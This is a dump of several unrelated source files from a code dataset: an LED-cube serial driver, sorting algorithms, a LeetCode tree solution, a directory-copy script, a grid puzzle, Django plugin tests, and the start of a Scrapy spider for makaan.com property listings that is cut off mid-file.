if axis == \"x\":\n axis_byte = 0\n elif axis == \"y\":\n axis_byte = 1\n elif axis == \"z\":\n axis_byte = 2\n int_states = [int(boolean) for boolean in led_states]\n str_states = [str(boolean) for boolean in int_states]\n str_states.reverse() # bit parameters are from left to right\n bits = \"\".join(str_states)\n state_byte = int(bits, 2)\n usb_link.write(bytearray([0xE7, 0x02, 0x04, axis_byte, shift_side_1, shift_side_2, state_byte, 0x7E]))\n\n\ndef set_plan(axis = \"xy\", shift = 0, led_states = 7 * [True]):\n \"\"\"\n Turn a plan on, by a line or pixel by pixel, depending of the led_states parameter.\n \"\"\"\n if type(led_states[0]) is bool:\n set_plan_by_line(axis, shift, led_states)\n else:\n set_plan_by_pixel(axis, shift, led_states)\n\n\ndef set_plan_by_line(axis = \"xy\", shift = 0, led_states = 7 * [True]):\n \"\"\"\n Turn a plan on. The columns of the plan are defined by a single line replicated on the seven columns. Parameters:\n - axis, chose two axis letters to select a side of the cube. A string of \"xy\", \"xz\" or \"yz\"\n - shift, move the plan from a side of the cube into it. An integer between 0 and 6\n - led_states, seven booleans figuring a line used on the seven columns of the plan\n \"\"\"\n if axis == \"xz\":\n axis_byte = 0\n elif axis == \"xy\":\n axis_byte = 1\n elif axis == \"yz\":\n axis_byte = 2\n int_states = [int(boolean) for boolean in led_states]\n str_states = [str(boolean) for boolean in int_states]\n str_states.reverse() # bit parameters are from left to right\n bits = \"\".join(str_states)\n state_byte = int(bits, 2)\n usb_link.write(bytearray([0xE7, 0x03, 0x03, axis_byte, shift, state_byte, 0x7E]))\n\n\ndef set_plan_by_pixel(axis = \"xy\", shift = 0, led_states = 7 * [7 * [True]]):\n \"\"\"\n Turn a plan on. The columns of the plan are defined pixel by pixel. Parameters:\n - axis, chose two axis letters to select a side of the cube. A string of \"xy\", \"xz\" or \"yz\"\n - shift, move the plan from a side of the cube into it. An integer between 0 and 6\n - led_states, seven arrays of seven booleans to define the plan pixel by pixel\n \"\"\"\n if axis == \"xz\":\n axis_byte = 0\n elif axis == \"xy\":\n axis_byte = 1\n elif axis == \"yz\":\n axis_byte = 2\n state_bytes = []\n for i in range(7):\n int_states = [int(boolean) for boolean in led_states[i]]\n str_states = [str(boolean) for boolean in int_states]\n str_states.reverse() # bit parameters are from left to right\n bits = \"\".join(str_states)\n state_bytes.append(int(bits, 2))\n usb_link.write(bytearray([0xE7, 0x03, 0x09, axis_byte, shift, state_bytes[0], state_bytes[1], state_bytes[2], state_bytes[3], state_bytes[4], state_bytes[5], state_bytes[6], 0x7E]))\n\n\ndef set_cube(led_states = 7 * [7 * [7 * [True]]]):\n \"\"\"\n Turn the whole cube on, led by led. Parameters:\n - led_states, seven arrays of seven arrays of seven booleans, to define each voxel\n \"\"\"\n state_bytes = []\n for i in range(7):\n for j in range(7):\n int_states = [int(boolean) for boolean in led_states[i][j]]\n str_states = [str(boolean) for boolean in int_states]\n str_states.reverse() # bit parameters are from left to right\n bits = \"\".join(str_states)\n state_bytes.append(int(bits, 2))\n usb_link.write(bytearray([0xE7, 0x04, 0x31] + state_bytes + [0x7E]))\n\n\n# Commands to reverse the LED states\n\ndef rev_all():\n \"\"\"\n Reverse current state of whole cube\n \"\"\"\n usb_link.write(bytearray([0xE7, 0x10, 0x00, 0x7E]))\n\n\ndef rev_voxel(coordinates = [0, 0, 0]):\n \"\"\"\n Reverse a voxel state. Parameters:\n - coordinates, an integer list for x, y, z\n \"\"\"\n usb_link.write(bytearray([0xE7, 0x11, 0x03, coordinates[0], coordinates[1], coordinates[2], 0x7E]))\n\n\ndef rev_line(axis = \"x\", shift_side_1 = 0, shift_side_2 = 0, led_states = 7 * [True]):\n \"\"\"\n Turn a line on. Parameters:\n - axis, chose an edge of the cube as reference. A string of \"x\", \"y\" or \"z\"\n - shift_side_1, shift the line from the chosen axis to one of the two adjacent sides. An integer between 0 and 6\n - shift_side_2, shift the line from the chosen axis to one of the two adjacent sides. An integer between 0 and 6\n - led_states, seven booleans\n \"\"\"\n if axis == \"x\":\n axis_byte = 0\n elif axis == \"y\":\n axis_byte = 1\n elif axis == \"z\":\n axis_byte = 2\n int_states = [int(boolean) for boolean in led_states]\n str_states = [str(boolean) for boolean in int_states]\n str_states.reverse() # bit parameters are from left to right\n bits = \"\".join(str_states)\n state_byte = int(bits, 2)\n usb_link.write(bytearray([0xE7, 0x12, 0x04, axis_byte, shift_side_1, shift_side_2, state_byte, 0x7E]))\n\n\ndef rev_plan(axis = \"xy\", shift = 0, led_states = 7 * [True]):\n \"\"\"\n Turn a plan on, by a line or pixel by pixel, depending of the led_states parameter.\n \"\"\"\n if type(led_states[0]) is bool:\n rev_plan_by_line(axis, shift, led_states)\n else:\n rev_plan_by_pixel(axis, shift, led_states)\n\n\ndef rev_plan_by_line(axis = \"xy\", shift = 0, led_states = 7 * [True]):\n \"\"\"\n Turn a plan on. The columns of the plan are defined by a single line replicated on the seven columns. Parameters:\n - axis, chose two axis letters to select a side of the cube. A string of \"xy\", \"xz\" or \"yz\"\n - shift, move the plan from a side of the cube into it. An integer between 0 and 6\n - led_states, seven booleans figuring a line used on the seven columns of the plan\n \"\"\"\n if axis == \"xz\":\n axis_byte = 0\n elif axis == \"xy\":\n axis_byte = 1\n elif axis == \"yz\":\n axis_byte = 2\n int_states = [int(boolean) for boolean in led_states]\n str_states = [str(boolean) for boolean in int_states]\n str_states.reverse() # bit parameters are from left to right\n bits = \"\".join(str_states)\n state_byte = int(bits, 2)\n usb_link.write(bytearray([0xE7, 0x13, 0x03, axis_byte, shift, state_byte, 0x7E]))\n\n\ndef rev_plan_by_pixel(axis = \"xy\", shift = 0, led_states = 7 * [7 * [True]]):\n \"\"\"\n Turn a plan on. The columns of the plan are defined pixel by pixel. Parameters:\n - axis, chose two axis letters to select a side of the cube. A string of \"xy\", \"xz\" or \"yz\"\n - shift, move the plan from a side of the cube into it. An integer between 0 and 6\n - led_states, seven booleans figuring a line used on the seven columns of the plan\n \"\"\"\n if axis == \"xz\":\n axis_byte = 0\n elif axis == \"xy\":\n axis_byte = 1\n elif axis == \"yz\":\n axis_byte = 2\n state_bytes = []\n for i in range(7):\n int_states = [int(boolean) for boolean in led_states[i]]\n str_states = [str(boolean) for boolean in int_states]\n str_states.reverse() # bit parameters are from left to right\n bits = \"\".join(str_states)\n state_bytes.append(int(bits, 2))\n usb_link.write(bytearray([0xE7, 0x13, 0x09, axis_byte, shift, state_bytes[0], state_bytes[1], state_bytes[2], state_bytes[3], state_bytes[4], state_bytes[5], state_bytes[6], 0x7E]))\n\n\ndef rev_cube(led_states = 7 * [7 * [7 * [True]]]):\n \"\"\"\n Turn the whole cube on, led by led. Parameters:\n - led_states, seven arrays of seven arrays of seven booleans, to define each voxel\n \"\"\"\n state_bytes = []\n for i in range(7):\n for j in range(7):\n int_states = [int(boolean) for boolean in led_states[i][j]]\n str_states = [str(boolean) for boolean in int_states]\n str_states.reverse() # bit parameters are from left to right\n bits = \"\".join(str_states)\n state_bytes.append(int(bits, 2))\n usb_link.write(bytearray([0xE7, 0x14, 0x31] + state_bytes + [0x7E]))\n\n\n# Animation commands\n\ndef translate(axis = \"x\", step = 1):\n \"\"\"\n Translate all turned on LED against an axis, optionnaly in steps of more than one LED. Parameters:\n - axis, chose an edge of the cube as reference. A string of \"x\", \"y\" or \"z\"\n - step, an integer between 1 and 7\n \"\"\"\n move_xyz(axis, step)\n\n\ndef move_xyz(axis = \"x\", step = 1):\n \"\"\"\n Translate all turned on LED against an axis, losing the state of LED outside the cube, optionnaly in steps of more than one LED. Parameters:\n - axis, chose an edge of the cube as reference. A string of \"x\", \"y\" or \"z\"\n - step, an integer between 1 and 7\n \"\"\"\n if axis == \"x\":\n axis_byte = 0\n elif axis == \"y\":\n axis_byte = 1\n elif axis == \"z\":\n axis_byte = 2\n usb_link.write(bytearray([0xE7, 0x21, 0x02, axis_byte, step, 0x7E]))\n\n\ndef modu_xyz(axis = \"x\", step = 1):\n \"\"\"\n Translate all turned on LED against an axis, looping on it, optionnaly in steps of more than one LED. Parameters:\n - axis, chose an edge of the cube as reference. A string of \"x\", \"y\" or \"z\"\n - step, an integer between 1 and 7\n \"\"\"\n if axis == \"x\":\n axis_byte = 0\n elif axis == \"y\":\n axis_byte = 1\n elif axis == \"z\":\n axis_byte = 2\n usb_link.write(bytearray([0xE7, 0x22, 0x02, axis_byte, step, 0x7E]))\n\n\ndef rotate(axis = \"x\", step = 1):\n rota_xyz(axis, step)\n\n\ndef rota_xyz(axis = \"x\", step = 1):\n if axis == \"x\":\n axis_byte = 0\n elif axis == \"y\":\n axis_byte = 1\n elif axis == \"z\":\n axis_byte = 2\n usb_link.write(bytearray([0xE7, 0x23, 0x01, axis_byte, 0x7E]))\n\n\ndef mirror(axis = \"x\", step = 1):\n miro_xyz(axis, step)\n\n\ndef miro_xyz(axis = \"x\", step = 1):\n if axis == \"x\":\n axis_byte = 0\n elif axis == \"y\":\n axis_byte = 1\n elif axis == \"z\":\n axis_byte = 2\n usb_link.write(bytearray([0xE7, 0x24, 0x01, axis_byte, 0x7E]))\n\n\n# System commands\n\ndef get_version():\n \"\"\"\n Get the API version\n \"\"\"\n usb_link.write(bytearray([0xE7, 0xE0, 0x00, 0x7E]))\n return usb_link.readline()\n\n\ndef load_default_parameters():\n \"\"\"\n Load default parameters for framerate and layerrate\n \"\"\"\n usb_link.write(bytearray([0xE7, 0xE1, 0x00, 0x7E]))\n\n\ndef load_last_saved_parameters():\n \"\"\"\n Load last saved parameters from cube memory\n \"\"\"\n usb_link.write(bytearray([0xE7, 0xE2, 0x00, 0x7E]))\n\n\ndef save_current_parameters():\n \"\"\"\n Persist the parameters into the cube memory\n \"\"\"\n usb_link.write(bytearray([0xE7, 0xE3, 0x00, 0x7E]))\n\n\n# System parameters\n# Not yet implemented\n\n\n# Code execution limited from file\nif __name__ == '__main__':\n try:\n print(\"Connexion on \" + serial_ports()[0] + \":\")\n usb_link = serial.Serial(serial_ports()[0], 115200)\n print(usb_link.readline())\n print(get_version())\n load_default_parameters()\n save_current_parameters()\n\n print(\"Executing tests:\")\n\n # Fixtures\n loops = 5\n duration = 0.5\n state = True\n seven_states = [True, True, True, False, True, False, False]\n fourty_nine_states = [\n [True, True, True, True, True, True, False],\n [True, True, True, True, True, False, False],\n [True, True, True, True, False, False, False],\n [True, True, True, False, False, False, False],\n [True, True, False, False, False, False, False],\n [True, False, False, False, False, False, False],\n [False, False, False, False, False, False, False],\n ]\n full_cube_states = 7 * [fourty_nine_states]\n\n # Automated tests\n # print(' * set_all()')\n # for _ in range(loops):\n # set_all()\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * set_all(seven_states)')\n # for _ in range(loops):\n # set_all(seven_states)\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * set_voxel((1, 1, 1), state)')\n # for _ in range(loops):\n # set_voxel((1, 1, 1), state)\n # time.sleep(duration)\n # state = not state\n # set_all(7 * [False])\n\n # print(' * set_line(\"x\", 1, 1, seven_states)')\n # for _ in range(loops):\n # set_line(\"x\", 1, 1, seven_states)\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * set_plan(\"xz\", 1, seven_states)')\n # for _ in range(loops):\n # set_plan(\"xz\", 1, seven_states)\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * set_plan(\"xz\", 1, fourty_nine_states)')\n # for _ in range(loops):\n # set_plan(\"xz\", 1, fourty_nine_states)\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * set_cube(full_cube_states)')\n # for _ in range(loops):\n # set_cube(full_cube_states)\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * rev_all()')\n # for _ in range(loops):\n # rev_all()\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * rev_voxel((1, 1, 1))')\n # for _ in range(loops):\n # rev_voxel((1, 1, 1))\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * set_line(\"x\", 1, 1, seven_states)')\n # for _ in range(loops):\n # set_line(\"x\", 1, 1, seven_states)\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * rev_line(\"x\", 1, 1, seven_states)')\n # for _ in range(loops):\n # rev_line(\"x\", 1, 1, seven_states)\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * rev_plan(\"xz\", 1, seven_states)')\n # for _ in range(loops):\n # rev_plan(\"xz\", 1, seven_states)\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * rev_plan(\"xz\", 1, fourty_nine_states)')\n # for _ in range(loops):\n # rev_plan(\"xz\", 1, fourty_nine_states)\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * rev_cube(full_cube_states)')\n # for _ in range(loops):\n # rev_cube(full_cube_states)\n # time.sleep(duration)\n # set_all(7 * [False])\n\n # print(' * translate(\"y\")')\n # set_plan(\"xz\", 1, seven_states)\n # for _ in range(loops):\n # translate(\"y\")\n # time.sleep(duration)\n # set_all(7 * [False])\n\n print(' * rotate(\"z\")')\n set_plan(\"xz\", 1, seven_states)\n for _ in range(loops):\n rotate(\"z\")\n time.sleep(duration)\n set_all(7 * [False])\n\n print(' * mirror(\"z\")')\n set_plan(\"xz\", 1, seven_states)\n for _ in range(loops):\n mirror(\"z\")\n time.sleep(duration)\n set_all(7 * [False])\n\n print(\"Tests completed\")\n except IndexError:\n print(\"USB connexion not available.\")\n","sub_path":"software/python/meuhcube.py","file_name":"meuhcube.py","file_ext":"py","file_size_in_byte":17656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"562059484","text":"__author__ = 'EAST'\n\n\n################################################################\ndef insert_sort(arr):\n \"\"\"直接原址插入排序\"\"\"\n stop = len(arr)\n for j in range(1, stop): # python 使用半开半闭区间---[..)\n key = arr[j]\n i = j-1\n while i > -1 and arr[i] > key:\n arr[i+1] = arr[i]\n i -= 1\n arr[i+1] = key\n return arr\n\n\n###############################################################\ndef max_heapify(arr, i, heap_size):\n \"\"\"最大堆维护,列表下标0位置不用,\n 传入的列表arr只有节点i不满足最大堆性质\"\"\"\n l = 2*i\n r = 2*i+1\n largest = i\n if l <= heap_size and arr[l] > arr[i]:\n largest = l\n if r <= heap_size and arr[r] > arr[largest]:\n largest = r\n if largest != i:\n x = arr[i]\n arr[i] = arr[largest]\n arr[largest] = x\n max_heapify(arr, largest, heap_size)\n\n\ndef build_max_heap(arr):\n \"\"\"构建最大堆,列表下标0位置不用\"\"\"\n heap_size = len(arr)-1\n start = heap_size // 2\n for i in range(start, 0, -1): # “//” 表示整除取下整\n max_heapify(arr, i, heap_size)\n\n\ndef heap_sort(arr):\n \"\"\"最大堆原址排序,列表arr下标0位置不用\"\"\"\n build_max_heap(arr)\n heap_size = len(arr)-1\n for i in range(heap_size, 1, -1):\n x = arr[1]\n arr[1] = arr[i]\n arr[i] = x\n heap_size -= 1\n max_heapify(arr, 1, heap_size)\n return arr\n\n\n################################################################\ndef merge(arr, p, q, r,):\n \"\"\"将两个有序非递增数组arr[p..q]和arr[q+1..r]原址归并成一个有序数组\"\"\"\n left = arr[p:q+1]\n right = arr[q+1:r+1]\n\n # 设置哨兵,\n if type(arr[p]) == str: # 若是字符串排序则待排元素最大不超过17个'z'\n left.append('zzzzzzzzzzzzzzzzz')\n right.append('zzzzzzzzzzzzzzzzz')\n elif type(arr[p]) == int: # 若是数值排序则待排元素最大不超过99999\n left.append(99999)\n right.append(99999)\n i = j = 0\n for x in range(p, r+1):\n if left[i] < right[j]:\n arr[x] = left[i]\n i += 1\n else:\n arr[x] = right[j]\n j += 1\n\n\ndef merge_sort(arr, p, r):\n \"\"\"归并排序\"\"\"\n if p < r:\n q = (p+r)//2\n merge_sort(arr, p, q)\n merge_sort(arr, q+1, r)\n merge(arr, p, q, r)\n return arr\n\n\n##############################################################\ndef partition(arr, p, r):\n \"\"\"快速排序中的划分子数组的辅助函数\"\"\"\n pivot = arr[r]\n i = p-1\n for j in range(p, r):\n if arr[j] <= pivot:\n i += 1\n x = arr[j]\n arr[j] = arr[i]\n arr[i] = x\n x = arr[i+1]\n arr[i+1] = arr[r]\n arr[r] = x\n return i+1\n\n\ndef quick_sort(arr, p, r):\n \"\"\"快速排序主函数\"\"\"\n if p < r:\n q = partition(arr, p, r)\n quick_sort(arr, p, q-1)\n quick_sort(arr, q+1, r)\n return arr\n\n\n###############################################################\ndef counting_sort(arr, k):\n \"\"\"计数排序,非原址排序\n 待排元素都是在 0 ~ k 之间的一个整数\"\"\"\n count = []\n new = [] # store the result of sorting\n for i in range(k+1):\n count.append(0)\n\n for i in range(len(arr)):\n count[arr[i]] += 1\n new.append(0) # initialization\n # by this step,count[i] contains the number of elements equal to i\n\n for i in range(1, k+1):\n count[i] += count[i-1]\n # by this step, count[i] contains the number of elements less than\n # or equal to i\n\n for i in range(len(arr)-1, -1, -1):\n new[count[arr[i]]-1] = arr[i]\n count[arr[i]] -= 1\n return new\n\n\n################################################################\ndef radix_sort(arr):\n \"\"\"基数排序,待排元素为十进制数,最多5位(不超过65535)\n 使用计数排序对每一个数位排序\"\"\"\n digits = 5\n scale = 10\n radix = 1\n count = []\n for i in range(scale):\n count.append(0) # initialize the counting\n\n tmp = [] # temporary storage\n for i in range(len(arr)):\n tmp.append(0) # initialization\n\n # start sorting\n for d in range(digits): # digits times\n #reset the counting at the beginning of each cycle\n for j in range(scale):\n count[j] = 0\n\n for j in range(len(arr)):\n count[(arr[j] // radix) % scale] += 1\n # by this step,count[i] contains the number of elements equal to i\n\n for j in range(1, scale):\n count[j] += count[j-1]\n # by this step, count[i] contains the number of elements less than\n # or equal to i\n\n for j in range(len(arr)-1, -1, -1):\n tmp[count[(arr[j] // radix) % scale]-1] = arr[j]\n count[(arr[j] // radix) % scale] -= 1\n x = arr\n arr = tmp\n tmp = x\n radix *= scale\n return arr","sub_path":"sort_algorithm_in_python/practise_1/sort_algorithm.py","file_name":"sort_algorithm.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"500904731","text":"# 寻找二叉树中路径的和最大值\n# 注意点1:递归返回的结果对父节点来说必须是合法的。\n# 注意点2:路径不一定包括树的根结点(或者说根节点的递归调用返回值不一定是正确答案),所以设置一个全局变量记录。从而如果答案出现在子树中也能记录。\n# 注意点3:某些路径对父节点来说是不合法,但对最终答案是合法的,例如人字形行走。这些路径会更新全局变量,但是不会出现在递归返回给父节点的\n# 结果中。\n\n# 首先考虑最简单的二叉树\n# 1\n# 2 3\n# 可能的最大值路径有6种可能。 1, 2(新路径,不返回父结点), 3(新路径,不返回父结点),1->2, 1->3, 2->1->3(新路径,不返回父结点)\n\n# 为什么不能返回某结点能得到的最大路径和,直接作为递归返回的结果?\n# 因为该结点的最大路径和可能是由新的path所得到(人字形走法),这样在其父节无法合法使���。所以递归调用不应该返回这结果。\n# 但对于最终答案是合法的,所以应该被记录在全局变量中。\n\n# 递归调用返回什么结果?递归调用应该只返回从上到下的走法。这样对父节点(上一层结点)才合法。\n# 例如:\n# -10\n# 9 20\n# 15 7\n# 对于20结点,递归调用完毕以后,返回给-10结点可能的路径情况有20, 20->15, 20->7 这3种情况。不存在15->20->7的情况(人字形走法)。\n# 但是对于最终返回的结果来说,15->20->7也是有效情况。所以需要设置一个全局变量来记录。\n\n# 更新最终返回的结果考虑的情况原本有6种,但由于是递归调用,所以只需要考虑4种情况。例如在根节点-10, 当收到左右子树的递归返回结果以后,\n# 考虑-10, -10->9, -10->20(已整合), 9->-10->20(已整合),不需要考虑9, 20结点。因为9,20结点的路径最大值,已经在9结点递归调用,20结点递归调用返回的时候\n# 已经考虑过了。\n# 由于result变量一直记录最大值,所以最后直接返回该最大值便可。\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def maxPathSum(self, root: Optional[TreeNode]) -> int:\n result = float(\"-inf\")\n\n def getMaxPathSum(node):\n nonlocal result\n if not node:\n return 0\n # 左子树的路径最大值\n leftNodeSum = getMaxPathSum(node.left)\n # 右子树的路径最大值\n rightNodeSum = getMaxPathSum(node.right)\n # 加快运行,避免后面重复运算\n maxLeftAndRight = max(node.val + leftNodeSum, node.val + rightNodeSum)\n # 考虑结果的时候,4种情况。只有根节点, 根节点与左子树,根节点与右子树, 新的路径\n result = max(node.val, maxLeftAndRight, leftNodeSum + node.val + rightNodeSum, result)\n # 返回结果的时候,只能返回根节点, 根节点与左子树,根节点与右子树。 因为返回的结果对父节点来说应该是合法的。\n return max(node.val, maxLeftAndRight)\n\n getMaxPathSum(root)\n return result\n\n","sub_path":"面试-LeetCode题/树的基础算法5-信息传递/LeetCode124(BinaryTreeMaximumPathSum)/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":3382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"238052356","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*-\n\n\nimport sys\nimport os\n\nbase_dir = ''\n\ndef cp_without_dotgit(src_dir, dest_dir):\n if not src_dir.endswith('/'):\n src_dir +='/'\n print (src_dir)\n print (dest_dir)\n if not dest_dir.endswith('/'):\n dest_dir +='/'\n \n entry_list = os.listdir(src_dir)\n print(entry_list)\n for entry in entry_list:\n entry_path = src_dir + entry\n if entry != '.git' and entry !='.github':\n if os.path.isdir(entry_path):\n target_dir = entry_path.replace(src_dir,'').strip('/')\n print('-------\"%s\" '%target_dir)\n target_dir = dest_dir + target_dir\n #cmd = 'mkdir \"%s\"'%target_dir\n #os.system(cmd)\n cmd = 'cp -r \"%s\" \"%s\"'%(entry_path,target_dir)\n os.system(cmd)\n #cp_without_dotgit(entry_path, target_dir)\n elif os.path.isfile(entry_path):\n target_file = entry_path.replace(src_dir,'').strip('/')\n print('dest_dir: \"%s\" target file:\"%s\"'%(dest_dir,target_file))\n target_file = dest_dir + target_file\n cmd = 'cp \"%s\" \"%s\"' %(entry_path,target_file)\n os.system(cmd)\n else:\n pass\n\ndef main():\n if len(sys.argv) !=3:\n print (\"usage: python cp_pure_git_repos.py source_dir target_dir\")\n return\n src_dir = os.path.abspath(sys.argv[1])\n if not src_dir.endswith('/'):\n src_dir +='/'\n dest_dir = os.path.abspath(sys.argv[2])\n if not dest_dir.endswith('/'):\n dest_dir +='/'\n global base_dir\n #print('dest_dir: \"%s\" src file:\"%s\"'%(dest_dir,src_dir))\n base_dir = src_dir\n cp_without_dotgit(src_dir,dest_dir)\n\nif __name__ == '__main__':\n main()\n","sub_path":"python/cp_without_dotgit_fld_by_fld.py","file_name":"cp_without_dotgit_fld_by_fld.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"226100881","text":"# Build the grid\nfrom itertools import cycle\nimport json\n\ninput = 0000\n\ngrid = {}\ncoordinate = (0,0)\n\nmoves = cycle([(1,0), (0,1), (-1,0), (0,-1)])\ncurrent_move = (0,0)\nprevious_move = (0,0)\nnext_allowed = True\n\nfor address in range(1, input + 1):\n while True:\n temp_coordinate = (coordinate[0] + current_move[0], coordinate[1] + current_move[1])\n if not grid.get(temp_coordinate):\n coordinate = temp_coordinate\n grid[coordinate] = address\n previous_move = current_move\n current_move = next(moves)\n break\n next(moves)\n next(moves)\n next(moves)\n current_move = previous_move\n\nprint(abs(coordinate[0]) + abs(coordinate[1]))","sub_path":"3.1.py","file_name":"3.1.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"362382624","text":"from bs4 import BeautifulSoup\nfrom django.test import TestCase\n\nfrom djangocms_local_navigation.cms_plugin_processors import add_ids\n\n\nclass LocalNavigationUnitTestCase(TestCase):\n def assertElementsEqual(self, elements, comparison):\n self.assertEqual(\n [str(element) for element in elements],\n comparison\n )\n\n def test_add_ids_creates_unique_ids(self):\n text = '

Hello

Hello

'\n text_with_ids = add_ids(BeautifulSoup(text).find_all('h2'))\n\n self.assertElementsEqual(\n text_with_ids,\n ['

Hello

', '

Hello

']\n )\n\n def test_add_ids_creates_unique_ids_among_different_tags(self):\n text = '

Hello

Hello

'\n soup = BeautifulSoup(text)\n elements = soup.find_all(['h2', 'p'])\n add_ids(elements)\n\n self.assertEqual(\n ''.join(str(element) for element in soup.body),\n '

Hello

Hello

'\n )\n\n def test_add_ids_adds_ids(self):\n text = '

Hello

'\n text_with_ids = add_ids(BeautifulSoup(text).find_all('h2'))\n\n self.assertElementsEqual(\n text_with_ids,\n ['

Hello

']\n )\n\n def test_add_ids_adds_ids_only_to_given_tags(self):\n text = '

Hello

World

'\n soup = BeautifulSoup(text)\n elements = soup.find_all('p')\n add_ids(elements)\n\n self.assertEqual(\n ''.join(str(element) for element in soup.body),\n '

Hello

World

'\n )\n\n def test_add_ids_returns_empty_text_on_empty_text(self):\n text = ''\n text_with_ids = add_ids(BeautifulSoup(text).find_all('h2'))\n\n self.assertEqual(text_with_ids, [])\n","sub_path":"tests/test_unit.py","file_name":"test_unit.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"376754909","text":"from scrapy.spiders import CrawlSpider\nfrom scrapy.http import Request\nfrom ..items import Website\nimport json\nimport datetime\nfrom datetime import datetime as dt\nimport re\n\n\nclass MakaanSpider(CrawlSpider):\n name = \"makaanMumbai\"\n \n allowed_domains = ['makaan.com']\n start_urls = [\n 'https://www.makaan.com/listings?sortBy=date-desc&listingType=buy&pageType=LISTINGS_PROPERTY_URLS&cityName=Mumbai&cityId=18&templateId=MAKAAN_CITY_LISTING_BUY&format=json&page=1',\n 'https://www.makaan.com/listings?sortBy=date-desc&listingType=rent&pageType=LISTINGS_PROPERTY_URLS&cityName=Mumbai&cityId=18&templateId=MAKAAN_CITY_LISTING_BUY&format=json&page=1',\n ]\n\n def parse(self, response):\n item = Website()\n # hxs = Selector(response)\n a = response.xpath('//div[@class=\"cardholder\"]')\n # '//*[@id=\"mod-listingsWrapper-1\"]/div/div[1]/div[2]/div[@class=\"cardholder\"]'\n\n for i in a:\n try:\n\n detail = i.xpath('.//div[contains(@class,\"cardWrapper\")]/script/text()').extract_first()\n data = json.loads(detail)\n # print('Data : ', data)\n\n item['carpet_area'] = '0'\n item['updated_date'] = '0'\n item['management_by_landlord'] = 'None'\n item['areacode'] = '0'\n item['mobile_lister'] = '0'\n item['google_place_id'] = 'None'\n age = item['age'] = '0'\n item['address'] = 'None'\n item['price_on_req'] = 'FALSE'\n item['sublocality'] = 'None'\n item['config_type'] = 'None'\n item['platform'] = 'None'\n item['city'] = 'None'\n item['listing_date'] = '0'\n item['txn_type'] = 'None'\n item['property_type'] = 'None'\n item['Building_name'] = 'None'\n item['lat'] = '0'\n item['longt'] = '0'\n item['locality'] = 'None'\n item['Status'] = 'None'\n item['listing_by'] = 'None'\n item['name_lister'] = 'None'\n item['Selling_price'] = '0'\n item['Monthly_Rent'] = '0'\n item['Details'] = 'None'\n item['data_id'] = 'None'\n item['Possession'] = '0'\n item['Launch_date'] = '0'\n item['price_per_sqft'] = '0'\n item['Bua_sqft'] = '0'\n item['quality1'] = '0'\n item['quality2'] = '0'\n item['quality3'] = '0'\n item['quality4'] = '0'\n\n item['property_type'] = data['propertyType']\n if item['property_type'] is None:\n item['property_type'] = 'Residential'\n if item['property_type'] is not None:\n if 'other' in item['property_type'] or 'Other' in item['property_type']:\n item['property_type'] = 'Residential'\n\n item['platform'] = 'Makaan'\n\n item['data_id'] = data['id']\n\n item['name_lister'] = data['companyName']\n if item['name_lister'] == '':\n item['name_lister'] = 'None'\n\n item['listing_by'] = data['companyType']\n\n item['mobile_lister'] = data['companyPhone']\n\n item['lat'] = data['latitude']\n if item['lat'] == '':\n item['lat'] = '0'\n\n item['longt'] = data['longitude']\n if item['longt'] == '':\n item['longt'] = '0'\n\n item['locality'] = data['localityName']\n\n item['city'] = data['cityName']\n\n buildname = data['fullName']\n if buildname == '' or buildname is None: \n buildname = 'None'\n \n buildname = buildname.lower().strip()\n\n if 'bhk' in buildname:\n buildname = buildname.replace('bhk', '').replace(''.join(re.findall('[0-9]+', buildname)), '')\n\n if 'floor ' in buildname or ' floor' in buildname:\n buildname = buildname.replace('floor', '').replace(''.join(re.findall('[0-9]+', buildname)),'').replace('th', '').replace('st','')\n\n if 'other' in buildname:\n buildname = buildname.replace('other', '').replace('others', '')\n \n if 'reputed' in buildname:\n buildname = buildname.replace('reputed', '').replace('builder', '')\n \n re.sub('chowk', '', buildname)\n\n if ' road' in buildname:\n buildname = buildname.split('road ')[1]\n\n if 'lane ' in buildname:\n buildname = buildname.split('lane ')[0]\n\n if 'behind ' in buildname:\n buildname = buildname.split('behind ')[0]\n \n if 'near ' in buildname:\n buildname = buildname.split('near ')[0]\n \n if 'opposite' in buildname or 'opp ' in buildname or 'opp.' in buildname:\n buildname = buildname.split(' opp')[0]\n\n if ' from ' in buildname or ' for ' in buildname:\n buildname = 'None'\n\n if 'on req' in buildname:\n buildname = 'None'\n\n if 'at ' in buildname:\n buildname = buildname.split(' at ')[1]\n\n if ' in ' in buildname:\n buildname = buildname.split(' in ')[1]\n\n if 'xyz ' in buildname or 'abc ' in buildname:\n buildname = 'None'\n\n buildname = str(buildname).strip()\n\n if buildname.isdigit() and len(buildname) > 4:\n buildname = 'None'\n\n if buildname == 'abc' or buildname == 'abcd' or buildname == 'xyz' or buildname == 'pqr':\n buildname = 'None'\n\n if buildname == 'chs' or buildname == 'hs' or buildname == 'society' or buildname == 'project' or buildname == 'apartment' or buildname 